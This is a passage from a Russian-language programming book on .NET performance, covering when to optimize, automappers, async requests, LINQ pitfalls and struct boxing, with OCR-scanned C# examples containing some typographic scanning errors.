Есть много языков программирования, которые по части скорости работы «из коробки» оказываются позади С или C++, но тем не менее они стали популярными. Все любители Python отмечают его недостаток в плане невысокой производительности, но при этом он каждый год набирает популярность и, по различным данным, находится на первых позициях среди языков программирования: кто-то ставит его на первое место, а кто-то — на второе, — почти везде всё зависит от того, как считать... Многие рейтинги выводят на первые позиции, помимо Python, еще и Java, и C# в разной последовательности, и все эти три языка не отличаются скоростью, если сравнивать их с C/C++.
Так почему программисты выбирают языки программирования, которые изначально дадут более медленный результат? Да потому, что в наше время скорость и простота разработки намного важнее, чем скорость выполнения приложения, — проще нарастить вычислительные ресурсы. А оптимизация кода необходима только в тех случаях, когда тот или иной код действительно выполняется очень медленно.
192
Глава 4
Мир меняется весьма быстро, и чтобы успевать за рынком, нужно реагировать на него адекватно. Если вы голодны и едете в булочную за хлебом на машине, будет ли ощутима разница, держите вы скорость 60 или 59 км/ч? Уверен, что нет. Даже если ваша скорость будет 58 или даже 57 км/ч, вы не заметите разницы на глаз, разве что станете замерять время поездки с секундомером, или если булочная не расположена от вас на расстоянии 1000 километров. Так что если булочная находится в от вас пределах 10 километров, то разница в скорости движения в несколько км/ч не повлияет на ваше восприятие одной поездки. Вы, возможно, заметите проблему, только если тысячу раз подряд съездите в ту булочную.
Когда нужно выполнить какие-либо вычисления только один раз, то в большинстве задач вам будет без разницы, на каком языке эта процедура написана и как быстро выполняется. То же самое касается и компьютерного «железа» — я до сих пор для работы с текстом пользуюсь ноутбуком, который купил 12 лет назад, потому что если даже я обзаведусь самым мощным компьютером, все равно не замечу разницы при работе в текстовом редакторе.
Есть такие разовые операции, которые действительно могут выполняться медленно и требовать оптимизации, но в реальности... Любая книга по алгоритмам, затрагивая вопросы сложности, расскажет вам про большую букву «О» и оценку алгоритмов, при которой должно быть все равно, сколько времени будет выполняться одна отдельная операция, — главное, сколько итераций понадобится для решении проблемы.
Еще в конце 1990 — начале 2000 годов я писал про то, что одним из основных мест приложения оптимизации являются циклы и любые повторяющиеся операции. Так считал не только я, поэтому не буду приписывать себе первоначальное авторство этого утверждения. Прошло уже более 20 лет, а не так много изменилось с тех пор.
Оптимизировать нужно то, что тормозит, и повторяющиеся операции. Простые операции, которые выполняются только один раз и делают это относительно неплохо, не стоят оптимизации. Если вы оптимизируете код, выполняющийся только один раз, добиваясь уменьшения времени его выполнения с 10 секунд до 9, то выиграете в производительности лишь одну секунду... «Есть только миг между прошлым и будущим, именно он называется...» — не занимайтесь оптимизацией, если затраты на нее дадут такой небольшой результат.
А что если вы оптимизируете тело цикла, которое выполняется 1000 раз? Сократив выполнение тела цикла с 10 секунд до 9, вы выиграете уже 1000 секунд. А если сократить количество циклов с 1000 до 500 (в два раза) и не оптимизировать при этом тело вовсе, то вы сэкономите 500 циклов по 10 секунд, или 5000 секунд. Вот это уже лучше! Сокращая в два раза количество циклов, мы получаем в пять раз большую экономию, чем сокращение выполнения тела цикла на 10%.
Именно поэтому при оценке сложности алгоритмов смотрят в первую очередь на повторения. Простая арифметика говорит нам о том, что это важнее времени выполнения одного шага. И именно поэтому программисты используют современные языки, которые жертвуют производительностью, чтобы результат был безопаснее и
О производительности в целом
193
надежнее, а код писался быстрее. Ну и параллельно они должны думать о том, как оптимизировать те участки, которые действительно требуют этого.
4.2. Когда нужно оптимизировать?
Невозможно весь код оптимизировать одинаково — такая разработка будет очень дорогой и даже может никогда не закончиться. Оптимизации нет предела, поэтому можно вечно улучшать код, делая его все быстрее и быстрее. И чтобы не погрязнуть в вечных улучшениях, мы должны больше думать про сам продукт и делать его так, чтобы он соответствовал необходимым требованиям, а оптимизацией заниматься уже тогда, когда возникают проблемы.
Есть такая сентенция: проблемы нужно решать по мере их поступления.
НО!
В большинстве компаний, где я работал, программисты следуют этому правилу дословно. Они берут какие-то быстрые технологии и начинают их везде использовать. И веб работает отлично, пока проект не отпускают в жизнь, и тут оказывается, что выбранные технологии не масштабируются.
Пять лет назад я предупреждал свое руководство о том, что нельзя делать страницу, которая будет отображать в виде сетки все возможные данные, а потом в браузере сортировать данные по любым колонкам, искать данные по любым колонкам и т. п. Во время разработки всё это выглядело круто, все были довольны, что возможности отличные, но я утверждал, что это в реальной жизни работать не будет, — не станет масштабироваться. И вот сайг открывается клиентам и через несколько месяцев начинает тормозить — возникают проблемы с загрузкой. Запросы к серверу выполняются по несколько минут, потому что передают слишком много данных из базы. Браузер падает, потому что в него загружается огромное количество данных, обработать которые с помощью JavaScript просто невозможно. Браузер начинает расходовать до гигабайта памяти...
Результат — срочное переписывание приложения и перенос всей логики на сервер. Браузер должен хорошо отображать данные, но бизнес-логика в нем должна задействоваться лишь в том случае, если ей на сервере места нет, и только если вы уверены, что данных будет немного. Если вы пишете веб-версию текстового редактора, то логика, конечно же, должна в браузере присутствовать. Но если это бизнес- приложение, то в большинстве случаев она все же должна выполняться на сервере.
Это пример пятилетней давности, но то же самое происходило не раз и даже сейчас происходит. Об оптимизации мы должны думать по мере поступления проблем, а вот про архитектуру — в самом начале.
Оптимизация и возможности масштабирования — это все же разные понятия. Если, работая над страницей, которая должна отображать каталог товаров электронного магазина, вы решите, что раз это SPA1, то всё должно быть в браузере, вас может
1 SPA (Single-Page Applications, одностраничные приложения) — веб-приложения, которые загружают одну HTML-страницу и динамически обновляют ее при взаимодействии с пользователем.
194
Гпава 4
ожидать сюрприз производительности. Почему-то многие считают, что в SPA бизнес-логика должна быть в браузере, что API каталога товаров должен возвращать весь каталог, а потом JS с помощью быстрых технологий React2 будет в браузере фильтровать данные и сортировать их. Ну это же React! Все же знают, что она очень быстрая!
Нет. Даже очень быстрая библиотека React имеет свои пределы скорости. От того, что вы пишете на быстрой React, сайт не будет работать быстро, если вам придется работать с тысячами строк данных и в памяти хранить сотни мегабайт информации. Когда все начинает тормозить, программисты пытаются что-то оптимизировать и улучшить, но проблема не в скорости выполнения кода, а в корне — в архитектуре. Об архитектуре нужно думать с самого начала. Надо предварительно выяснить, сколько может быть в реальной жизни данных, сможет ли технология, которую вы так сильно любите, справиться с таким объемом данных. Об архитектуре нужно думать еще до начала работы над кодом, и если вы ошибетесь, то придется переписывать очень много, потому что никакая оптимизация потом уже не поможет.
Производительность очень сильно зависит от архитектуры, от того, насколько масштабируемый вы пишете код. Ну а если в этом плане всё сделано корректно, то потом уже можно полировать код и улучшать его производительность в любой момент.
4.3. Оптимизация и рефакторинг
Оптимизация и красота кода не всегда идут рука об руку — иногда «сделать код красивее» может означать «сделать код медленнее». Но стоит ли думать об этом?
Оптимизация — это хорошо, но, опять же, она должна присутствовать там, где она необходима. Если вы считаете, что оптимизация нужна везде и при этом пишете на Java или С#, то спешу вас разочаровать — это далеко не самые быстрые языки программирования. А самый популярный Python вообще славится проблемами производительности, но при этом остается самым популярным.
Если вы хотите оптимизировать каждую строку кода, то вам нужно писать на C++ — он быстрее. А лучше писать на Assembler — он еще быстрее. Вы можете также писать вообще в машинных кодах — это будет еще и выглядеть круто.
Но даже когда компьютеры были слабыми, никто не писал на Assembler требовательные к ресурсам на тот момент игры. Очень много кода писали на С или C++, а на Assembler — лишь вставки кода, которым необходима была максимальная производительность. Я сам в 1990-е годы пробовал писать 3D-игру в стиле Doom на С, и у меня получилось вполне неплохо — все работало быстро, при этом на ассемблере я написал только небольшой код, который копировал данные из памяти компьютера в память видеокарты и потом переключал страницы видео.
2 React — JavaScript-библиотека с открытым исходным кодом для разработки пользовательских интерфейсов.
О производительности в целом
195
При хорошей архитектуре — в большинстве случаев — потери от рефакторинга должны быть незначительными.
Определившись с хорошей архитектурой, можно начинать писать код — главное, оформлять его хорошо. Можно даже «срезать углы» и применять не самые эффективные с точки зрения алгоритма решения. Если код написано хорошо, то потом оптимизировать или переписать какой-то алгоритм будет несложно.
Хорошо написанный код проще оптимизировать. Если вы написали хорошо структурированный код, то, исходя из моего опыта, проблема чаще всего скрывается в какой-то функции, и ее просто нужно переписать. В хорошо написанном коде проще искать проблемы и слабые места, которые нуждаются в оптимизации. Испортить код в целях оптимизации мы сможем в любой момент, а вот написать красиво, чтобы его проще было потом оптимизировать, — это даже при всем желании не все могут.
При работе с кодом красота важнее, и если есть необходимость создать дополнительную функцию для красоты кода вместо лишнего вызова — я выберу создание новой функции.
4.4. Отображение данных
Для C# имеются такие библиотеки, которые могут скопировать данные из одного типа объекта в другой, и копирование это происходит по именам полей. Так, если у вас есть класс Employee и класс Person, и у каждого предусмотрены поля имени и фамилии, то автомаппер3 может копировать данные из объекта Person в Employee автоматически просто потому, что имена полей совпадают. Но даже если они и не совпадают, можно настроить связь между разными полями.
Допустим, что у нас есть следующие классы моделей:
class Employee {
public string FirstName { get; set; }
public string LastName { get; set; } }
class Person {
public string FirstName { get; set; } public string LastName { get; set; } }
Employee e = new Employee() { FirstName = "Иван”, LastName = ’’Иванов”
}
3 AutoMapper — средство сопоставления одного объекта на другой (в английской терминологии — Mapping). Сопоставление работает путем преобразования входного объекта одного типа в выходной объект другого типа.
196
Глава 4
В этом коде могут быть ошибки, потому что я его писал в простом текстовом редакторе, а не в редакторе кода, и основная его цель — показать идею: есть два класса, которые имеют разные имена, но одинаковые имена полей. Это самый простой и удобный случай использования мапперов.
У нас есть Employee, и мы хотим превратить его в Person. Чтобы произвести конвертацию вручную, мы можем создать производящий ее метод:
Person ManualMap (Employee е) {
return new PersonO {
FirstName = e. FirstName, LastName = e.LastName };
}
Person = ManualMap(e);
Эго очень простой код, который пишется за минуту. Плюс этого подхода — минимум ошибок в результате, минус — если в Employee добавляется новое поле, а вы забудете обновить метод, в результате вы получите ошибку, которую сложно будет потом быстро идентифицировать.
Некоторые программисты говорят: не хочу быть владычицей морскою, хочу быть крутым программистом, — и устанавливают специальные библиотеки, которые магически копируют данные. Если поля совпадают, то библиотека может скопировать данные. Если не совпадают, то связь можно сконфигурировать. Плюс — надо писать меньше кода, минус — если сделать опечатку в имени поля, потом можно долго смотреть на код, пытаясь понять, почему он не работает:
Person р = new Person();
MagicMap (р, m);
У меня еще в 2009 году был случай, когда я в названии метода случайно использовал русскую букву С, а не английскую С. Я отдал код на тестирование, из которого он вернулся со странной ошибкой: метод не найден. Визуально я вижу его и могу вызвать, потому что для вызова просто копирую текст из кода. А тестер был канадцем, который не копировал имя, а вводил его вручную, и, конечно же, не мог ввести русскую букву.
При автоматическом копировании данных моделей вот такие ошибки не всегда очевидны.
Автоматический подход предпочитают те, кто создает отдельные модели для каждого уровня:
□ EmpioyeeModelDAL — модель доступа к данным;
□ EmpioyeeModeiBL — модель в бизнес-уровне;
□ EmpioyeeModeiview — модель в представлении.
У каждого уровня свои модели, и между ними данные передаются автоматически мапперами. Некоторые пишут ручные мапперы, потому что для них вероятность
О производительности в целом
197
ошибки является критической. Я же считаю, что это решается тестами, но все же автоматический подход не люблю, но по другой причине.
Что выбрать: ручной или автоматический метод? Я использую ручной подход, и на C# не использую автоматическое копирование данных между объектами по двум причинам:
□ мне проще написать вручную;
□ если две модели одинаковы по полям и просто принадлежат разным слоям, то я не создаю КОПИЮ, а использую ЛИШЬ одну модель них: EmployeeModelDAL. Я не люблю, когда в разных слоях создают одну и ту же модель просто с разными именами: EmployeeModelDAL, EmployeeModelBL, EmployeeModelView.
Глупое копирование между слоями приводит к лишним выделениям памяти и копированиям данных, а в случае с C# — также и к потере производительности. Хотя это касается не только С#, но и любого другого языка программирования. И все это ради чего? С моей точки зрения, это не приводит к повышению читабельности, а только увеличивает расходы на поддержание кода, потому что при введении нового поля его нужно добавить во все модели, чтобы данные добрались из базы в представление. В примерах к книге я максимально использую модели уровня доступа к данным (DAL).
Это мое личное мнение, и если вы любите мапперы, то это ваш выбор. Не пытайтесь меня переубедить, что это хорошо, — я в ИТ уже столько лет и столько всего попробовал, что любые ваши попытки просто пролетят мимо моих ушей. Так что если вы хотите использовать мапперы, просто отбросьте мои советы и делайте так, как хотите.
Но давайте вернемся к вопросу производительности и посмотрим на пальцах, сколько понадобится выделений и уничтожений памяти, чтобы данные только добрались до базы данных:
1. Нужно проинициализировать Три объекта: EmployeeModelDAL, EmployeeModelBL И EmployeeModelView.
2. В каждом объекте выделить память для строк, где будут храниться имена и фамилии.
3. Скопировать данные из одного свойства в другое.
4. После передачи на следующий уровень старые объекты, скорее всего, окажутся ненужными, и их надо уничтожить.
Столько выделений и уничтожений памяти и операций копирования — из моего личного опыта — это большие расходы, и просто избавившись от них, вы можете повысить производительность сервера приложений.
А если данные будут передаваться от пользователя в уровень DAL и результат станет копироваться обратно? То есть мы сохраняем что-то в базе данных и потом возвращаем обратно в представление. А если полей будет 20? Сейчас у нас только имя и фамилия, а если добавятся еще и адрес места жительства, место рождения, какие-то даты и прочее?
198
Гпава 4
Вот поэтому я не люблю создание моделей для каждого отдельного уровня. Это плохо с точки зрения производительности и хуже с точки зрения читабельности. Нужно обязательно помнить именование классов для каждого уровня, и я много раз видел, когда классы в двух уровнях имеют одни и те же имена.
Так что я предпочитаю иметь одну модель для всех уровней. Чаще всего, это когда модель для базы данных абсолютно идентична модели представления.
Но если есть необходимость, то моделей может быть и несколько. Это когда модель в БД одна, а представление нуждается в совершенно другой структуре данных. Но и в этом случае автомапперы не приносят уже такой выгоды — проще и удобнее просто написать код вручную, чем вручную конфигурировать маппинг.
4.5. Асинхронное выполнение запросов
Асинхронное выполнение далеко не всегда означает, что приложение будет работать быстрее. Тут есть связь, но далеко не прямая. Очень часто асинхронное выполнение связывают с классическими десктопными или мобильными приложениями. Были времена, когда в моменты запуска тяжелых вычислений или долгих запросов в Сеть приложение прекращало отзываться, и казалось, что оно зависло. Сейчас этот подход считается очень плохим, и в iOS уже на уровне языка программирования делают всё, чтобы не было блокирования.
При запуске приложения в синхронном режиме создается один главный поток, который выполняет основную линию приложения. Когда этот код доходит до какого-то сложного расчета или необходимости отправить запрос в Сеть и получить данные, поток отправляет запрос и замирает в ожидании ответа. Если главный поток замер, то приложение не может ничего отображать в окне программы и откликаться на действия посетителя, — мы ведь замерли и ждем ответа.
Если приложение не откликается — это плохо, и в таких случаях лучше использовать асинхронное выполнение: мы отправляем нужный запрос в Интернет, но не блокируем выполнение программы, а продолжаем обрабатывать ввод посетителя, отрисовывать содержимое окна и ждать ответа.
Отлично, похоже, что классическому или мобильному приложению действительно выгодно работать асинхронно, потому что нужно ожидать ответа и можно одновременно отрисовывать окна. При этом приложение остается отзывчивым на действия пользователя в сложных ситуациях.
Но зачем это нужно веб-приложению, которое выполняется на сервере? Оно не может отвечать за отрисовку чего-то на компьютере посетителя. И мы не сможем отправить ответ посетителю раньше, чем закончится выполнение на сервере и будут готовы все данные для возврата.
Рассмотрим эти процессы подробнее. На веб-сервере для обработки запросов создается пул из потоков. Когда на сервер приходит запрос, то один из потоков начинает его выполнять. Для следующего запроса выбирается другой поток. Допустим, что каждый из запросов обращается к базе данных, и выполнение запроса занимает
О производительности в целом
199
минуту. Когда веб-сервер направляет запрос к базе данных, то в синхронном режиме поток замирает и ожидает ответа. Если придет очень много запросов, то может возникнуть ситуация, что все потоки в пуле закончатся и сервер перестанет отвечать на запросы. При этом у сервера может быть достаточно процессорных ресурсов, чтобы продолжать работать, может быть достаточно памяти, но только потому, что процессы слишком долго ждут ответа и бездействуют, сервер работает неэффективно.
В асинхронном режиме поток не ожидает ответа от сервера, а возвращается в пул потоков и может быть назначен любому другому запросу от посетителя. Когда база данных завершит выбирать данные и мы их получим, .NET выберет из пула поток и назначит его для дальнейшего выполнения кода.
Таким образом, использование асинхронного программирования выгодно не только для десктопных приложений, но и для веб-сайтов. Вместо ожидания ответов потоки могут выполнять какие-то другие задачи. То есть мы более эффективно используем ресурсы.
А зачем ограничивать количество потоков? Во-первых, потоки расходуют память — для каждого выделяется один мегабайт для хранения стека. Вроде бы немного, но все же для сервера — это память. Во-вторых, создание и уничтожение потоков не проходит бесследно. Если на сервер неожиданно придет большое количество запросов, то придется расходовать дополнительные ресурсы на создание потоков, а при падении трафика их придется уничтожать, чтобы не тратить ресурсы. Использовать существующие потоки будет более эффективно.
Асинхронное программирование на сервере выгоднее с точки зрения расходования памяти и процессора, а при большой нагрузке каждая мелочь может повлиять на то, сколько запросов вы сможете обработать.
Когда в C# бьшо не так легко писать асинхронный код, многие продолжали использовать блокирующие режимы, но с появлением асупс и await я не вижу причин писать синхронно, поскольку теперь асинхронный код писать стало намного проще.
В главах 2 и 3 яво всех примерах старался применять асинхронные методы там, где они доступны. И далее я буду продолжать их использовать, и вам настоятельно это рекомендую с тем, чтобы ваши сайты эффективнее задействовали ресурсы сервера.
4.6. Параллельное выполнение
Разделение каких-то расчетов на потоки может повысить производительность, потому что сейчас процессоры могут выполнять сразу несколько потоков, и если разделить задачи на потоки, то они сделают их быстрее.
Но в случае с веб-приложениями имеет ли смысл загружать все ядра процессора одним и тем же запросом от пользователя. Вместо этого можно разделять задачи по разным серверам. Например, запрос приходит на сервер, и для возврата результата посетителю вам нужно загрузить как данные посетителя, так и определенные
200
Гпава 4
заметки в блоге. Можно тогда отправить одновременно два запроса к базе данных на получение информации, а потом объединить ее в одно целое. Тут еще можно добавить, что для более эффективного использования такого подхода желательно еще и иметь несколько баз данных.
Какие-то конкретные примеры здесь привести сложно — можно только в общих чертах высказать идею их реализации. Но я все же хотел ее здесь показать, потому что в определенных случаях это может дать хороший результат.
4.7. LINQ
Язык LINQ (Language Integrated Query, язык интегрированных запросов) отлично подходит для быстрого решения каких-то задач, но это не значит, что они будут работать очень быстро. Да, Microsoft утверждает, что LINQ-запросы компилируются в код, который будет выполняться очень быстро. Простые запросы действительно превращаются в очень эффективный код, но это не значит, что любой LINQ-код заведомо быстрый.
Я на своей работе очень часто вижу ужасный с точки зрения производительности код — когда нужно объединить два массива. Допустим, что есть два массива данных: посетителей сайта и их адресов. У вас есть все данные — просто нужно взять и добавить адреса всем посетителям. Возможно, помимо этого, нужно выполнить что-то еще, и в таких случаях я уже не раз видел код следующего вида:
List<AddressModel> addresses = new List<AddressModel>();
List<EmployeeModel> employees = new List<EmployeeModel>();
foreach (EmployeeModel employee in employees) {
// Здесь могуть быть какие-то вычисления
employee.Addresses = addresses.Where(m =>
m.Employeeld = employee.Employeeld).ToList();
I
Благодаря LINQ такой код легко написать, и он легко читается. Но если в списке адресов и в списке посетителей имеется большое количество данных, то для каждого посетителя будет происходить сканирование всех строк в адресах, и этот код станет серьезной нагрузкой на процессор.
Вариантов решения подобных задач несколько. Самый банальный, который мне тут же пришел в голову, — сначала создать цикл, пройтись по всем адресам и создать хеш-таблицу или словарь, где ключом будет Employeeio, а элементом — список всех его адресов, а потом пройтись по всем employee и использовать этот словарь или таблицу. Эго даже без знания паттернов или алгоритмов самое простое решение проблемы:
Dictionary<int, List<AddressModel>> adrDictionary =
new Dictionary<int, List<AddressModel>>();
О производительности в целом
201
foreach (AddressModel addr in addresses) {
if (!adrDictionary.ContainsKey(addr.Employeeld))
{ adrDictionary[addr.Employeeld] = new List<AddressModel>();
}
adrDictionary[addr. Employeeld].Add(addr);
}
foreach (EmployeeModel employee in employees)
{
// Здесь могуть быть какие-то вычисления
if (adrDictionary.ContainsKey(employee.Employeeld))
{ employee.Addresses = adrDictionary[employee.Employeeld];
} }
Так что, может, не стоит использовать LINQ, а надо всегда писать классические циклы? Конечно же, стоит — просто нужно понимать, что код не будет магически выполняться быстро только потому, что это запрос LINQ. И с его помощью тоже можно написать быстрое решение, но я оставлю это вам в качестве домашнего задания.
Если вам нужно часто обращаться к каким-то элементам, то в LINQ можно приме- НИТЬ ToDictionary ИЛИ ToLookup.'
var adrDictionary = addresses
.GroupBy(x => x.Employeeld)
.ToDictionary(x => x.Key, x => x.ToListO);
И это не единственный случай, когда LINQ используется неэффективно. Бывают ситуации, когда метод доступа к базе данных возвращает lEnumerabie. Отличная идея: метод просто вернет этот список без реального доступа к базе, и если никто этот список не тронет, то и к базе обращения не будет. А если этот список тронуть 10 раз? Будет 10 обращений к базе. Опять же, если в предыдущем примере addresses превратить в lEnumerabie, то на каждом этапе цикла будет выполняться обращение к базе в поисках всех адресов.
В своих проектах я часто использую LINQ для работы с массивами или XML- файлами, потому что код получается простым и понятным. Пусть он будет не самым быстрым с точки зрения производительности, но зато я смогу быстрее получить результат. Как я уже отмечал в разд. 4.2, сначала мы пишем код, а потом уже оптимизируем те участки кода, которые работают медленнее всего.
Я ценю LINQ за его декларативный подход, когда нам не нужно писать циклы, а лишь говорить: вот массив, посчитайте мне сумму элементов или верните мне максимальный или практически что угодно. Это плюс. Но и только...
Но как же так, в разд. 3.3 я говорил, что люблю использовать Entity Framework, для работы с которым задействуется LINQ? Эго же противоречие! На самом деле ника-
202
Гпава 4
кого противоречия нет. Во-первых, я уважаю Entity Framework и хорошо к нему отношусь, но больше предпочитаю чистый SQL за то, что он дает мне больше свободы и гибкости. Во-вторых, я не люблю использовать LINQ для доступа к базам данных, но хорошо отношусь к нему в случае с работой с массивами. Это все же разные подходы, потому что чистого SQL для массивов нет.
4.8. Обновление .NET
Последние несколько релизов Microsoft сделала огромные шаги с точки зрения оптимизации своего фреймворка. Простое обновление с .NET 3.1 до .NET 5 позволяло значительно ускорить работу приложений и сократить расходы памяти.
С появлением .NET версий 6 и 7 Microsoft продолжила работу по их оптимизации, и многие компании отмечают увеличение производительности просто за счет обновления версии .NET без изменения кода.
Сейчас изменения в .NET и C# уже не такие значительные. Переход с .NET Framework требовал значительных усилий, переход на .NET с первых версий .NET Core также сопровождался обновлением кода. Сейчас же достаточно только установить новую версию, изменить TargetFramework для всех файлов проектов и наслаждаться увеличением производительности.
Я рекомендую своевременно обновлять .NET, потому что это самый простой способ получить повышение производительности, а это ведет к сокращению расходов на поддержку серверов.
ГЛАВА 5
Производительность в .NET
В этой главе мы перейдем к конкретным примерам проблем производительности в .NET и поговорим о том, как их решать, чтобы выжать из системы максимум допустимого. Возможно, вы не будете в реальной жизни использовать многие из описанных здесь приемов, но все же знать и понимать, как они работают, — очень важно. И не забывайте при этом, что правильный алгоритм и архитектура намного важнее, чем точечные оптимизации.
5.1. Типы данных
В C# есть две разновидности типов данных: ссылочные типы и типы значения. Очень часто говорят, что к значениям относятся числа — например, тип данных int32. Это действительно так — int32 представляет собой значимый тип, но при этом не является чем-то особенным и уникальным. Если открыть MSDN1, то окажется, что этот тип данных на самом деле структура struct (рис. 5.1). Для кого-то это может оказаться неожиданностью, но тут все же есть смысл.
Опять же, в MSDN сказано, что все значимые типы относятся к одному из двух видов:
□ структуры (struct) — когда мы инкапсулируем данные и методы;
□ перечисления (Enum) — последовательности именованных констант.
5.1.1. Производительность
Чуть позже мы посмотрим на технические различия в работе структур и классов, а сначала стоит заметить, что самая большая разница между классами и структурами заключается в производительности. И производительность тут может отклоняться как в положительную, так и в отрицательную сторону.
1 MSDN (Microsoft Developer Network) — библиотека официальной технической документации для разработчиков под ОС Microsoft Windows.
204
Гпава 5
• •• ш * <
!J Microsoft I Learn Documentation
Ф +
Shows Events
Search P Sign n
.NET Languages v Workloads v APIs v
Resources v
Version
Learn / NET / NET API browser / System /
C# v $ ^
| .NET 7 RC1
Int32 Struct
| p Search
- Int32
Reference
^ Feedback
Int32
> Fields
> Methods
> Explicit Interface Implementations
> Int64
> IntPtr
Definition
Namespace System
Assembly. System Runtime dll
> InvalidCastException
> InvalidOperationException
> InvalidProgramException
Рис. 5.1. Тип данных Int32 согласно MSDN
Первое важное различие — внутри методов память для значимых типов выделяется в стеке. А если это поле класса, то значение хранится в куче вместе с классом.
С точки зрения выделения памяти для нас не имеет значения, где хранится переменная — в стеке или в куче. А вот с точки зрения освобождения памяти имеет — для очистки стека не нужен сборщик мусора. Сборщик мусора — более дорогостоящее мероприятие, поэтому структуры в этом плане чуть более эффективны, чем классы.
Может, всё нужно делать структурами, и это будет проще с точки зрения освобождения памяти? Тут надо понимать, что структуры еще и работают немного по- другому, поэтому, прежде чем делать выбор в их пользу, нужно убедиться, что вы нигде не будете использовать их как объекты. Дело в том, что к переменным значениям можно обращаться как к объекту и работать с ними как с объектом, но в этом случае будет происходить упаковка, а вот эта операция уже недешевая. Сама упаковка занимает процессорные ресурсы, поскольку связана с созданием копии структуры в куче. А так как в куче создается копия структуры, то ее придется уничтожать сборщиком мусора, а значит, мы в любом случае столкнемся с проблемами выделения и освобождения памяти.
Типы значения можно использовать, но в этом случае мы должны убедиться, что не будет происходить упаковка. Даже при наличии одной упаковки создание объекта уже может стать более вьп'одным решением.
Вторая большая разница между типами значений и ссылочными типами заключается плотности хранения. Когда мы создаем класс, то, помимо выделения памяти, для
Производительность в .NET
205
каждого поля нужно хранить и ссылки на эти поля. Так как всё находится в куче, обращение к данным будет осуществляться через ссылки на память в куче.
В случае структур вся структура находится в стеке, и ссылки не нужны. Данные хранятся в стеке плотно, без необходимости выделения дополнительной памяти под ссылки, что может стать причиной более высокой скорости и эффективности работы с данными.
Эти два момента нужно учитывать при выборе того, какой тип данных создавать: значение или ссылочный тип.
5.1.2. Отличие структур от классов
Давайте познакомимся со структурами на практике, чтобы лучше разобраться с их особенностями. Чаще всего я слышу, что структуры не имеют методов. Возможно, в других языках это и так, но в C# структуры могут иметь методы.
Вторая по популярности ошибка — мнение, что структуры не могут иметь конструктора. Конструктор они обязательно имеют, но вот вызывать его необязательно.
Структуры struct не являются объектами, и это самое главное отличие их от классов. Когда у вас есть объект, то переменная объекта — это как бы число, которое отображает адрес в памяти:
class Person {
public string FirstName { get; set; }
public string LastName { get; set; } }
Person p;
При создании объекта мы работаем с указателем на объект в куче (в памяти компьютера), и этой переменной присваивается значение null. Чтобы начать использовать объект, нужно вызвать оператор new, который выделит память и вернет адрес на эту память, причем значение адреса будет записано в ячейку памяти в стеке:
void Foo() {
Person р;
р = new Person(); }
В первой строке в стеке выделяется память для хранения указателя, а во второй — оператор new выделяет память в куче, возвращает указатель на эту память, и этот указатель сохраняется в ячейке р.
Когда заканчивается выполнение метода Foo, то все данные, которые были помещены в стек внутри метода, очищаются (так, кажется, работают все языки программирования, но утверждать однозначно я это не стану). В этот момент удаляет-
206
Гпава 5
ся ячейка памяти р, так что на объект, на который ссылалась эта переменная, теперь уже никто не ссылается, и память может быть очищена. Но это сделает сборщик мусора, а когда он это сделает, знает только .NET.
Структуры данных и другие переменные значимых типов хранятся в стеке. Именно переменные. Если это свойство класса, то оно будет храниться вместе с объектом класса в куче. Это очень важное различие, и, учитывая его, вы сможете понять, как сделать код более эффективным.
Посмотрим на следующий пример:
struct Person {
public string FirstName { get; set; }
public string LastName { get; set; } }
Person p;
Чем это нам грозит? Стек очищается после завершения работы с методом, а значит, это может привести к серьезным проблемам в некоторых случаях. Посмотрим на код из листинга 5.1.
Листинг 5.1. Использование структур как объектов
struct Person {
public string FirstName { get; set; }
public string LastName { get; set; }
public override string ToStringO {
return FirstName + ” ” + LastName;
}
}
class StructTest
{
ArrayList people = new ArrayList ();
public void Additem(string firstname, string lastname) (
Person p ■ new PersonO;
p.FirstName = firstname;
p.LastName = lastname;
people.Add(p);
}
public void Print()
Производительность в .NET
207
foreach (var p in people)
Console.WriteLine(p);
}
Обратите внимание, что у моей структуры Person есть метод, причем не просто метод, a Tostring, который объявлен как override. Значит, структуры тоже происходят от object? Не совсем: они происходят от класса VaiueType, а тот уже происходит от object. VaiueType работает немного по-другому — не совсем так, как объекты.
Так что мы только что сломали первый стереотип — что у структур не может быть методов. Они могут быть, просто обычно структуры создают для данных, а не для логики, но и логика тоже может присутствовать.
Попробуйте добавить конструктор и самостоятельно развеять миф о том, что у структуры не может быть конструктора.
У класса есть список для хранения людей: ArrayList people, и метод Additem — для добавления в список одной новой записи. Additem создает элемент структуры, добавляет ее в список и завершает работу. По завершении работы значение структуры должно уничтожиться из стека. Проверим? Без проблем:
StructTest test = new StructTest ();
test.Additem("Mikhail", "Flenov");
test.Print();
Console.ReadLine();
Запустите этот пример и посмотрите в консоль. Лично я вижу там:
Mikhail Flenov
Как же так, ведь по завершении работы Additem память структуры должна быть уничтожена, и, по идее, мы не должны увидеть имени в консоли. Теоретически можно было увидеть ошибку доступа к памяти или пустое значение, но никак не реальные данные. Сборщика мусора у стека нет, и на него грешить не получится. Вы скажете: магия MS, или я вас обманул...
На самом деле все очень просто. Списки ArrayList не умеют работать со значимыми данными как раз потому, что стек неконтролируем. В список нельзя добавлять простые типы — такие как строки, числа или структуры в чистом виде. И чтобы это стало возможным, в Microsoft придумали упаковку (boxing и unboxing). Все слышали про нее в связи с простыми типами данных — такими как числа, но мало кто слышал, что она также работает и для структур данных.
Каждый раз, когда вы используете структуру в качестве объекта, фреймворк выделяет в куче память и копирует туда данные структуры. Таким образом, когда метод Additem завершает работу, значение в стеке очищается, а в куче — остается, и именно это значение находится в списке, и именно его мы видим. Хотите доказа-
208
Глава 5
тельство? Попробуйте после добавления структуры в список изменить значение структуры:
public void Additem (string firstname, string lastname) {
Person p = new Person(); p.FirstName = firstname; p.LastName = lastname; people. Add (p) ;
p.LastName = "Updated"; }
После добавления значения структуры в список я затираю LastName, но при запуске приложения мы все еще видим:
Mikhail Flenov
Это потому, что при добавлении в список добавилась копия из кучи, а при попытке обновить значение мы изменили значение в стеке, которое потерялось при выходе из метода. Неупакованная и упакованные версии живут независимо, и это очень важно знать и понимать.
Попробуйте изменить Person — сделать ее классом, и посмотрите на результат. На этот раз вы должны увидеть: Mikhail Updated
Здесь мы создаем экземпляр класса, который будет инициализирован в куче. И именно это значение — а не копию — мы добавляем в список, а значит, изменения класса затронут и значение в списке.
int32 в C# является структурой, а не объектом со всеми вытекающими последствиями. Кстати, я слышал, и не раз, такое заблуждение, что int — это значение, а int32 — это объект.
Что произойдет в результате выполнения следующего кода:
ArrayList numbers = new ArrayList (); Int32 number =10;
numbers .Add (number);
Console. Writ eLine (numbers [0]); number = 12;
Console.WriteLine(numbers[0]);
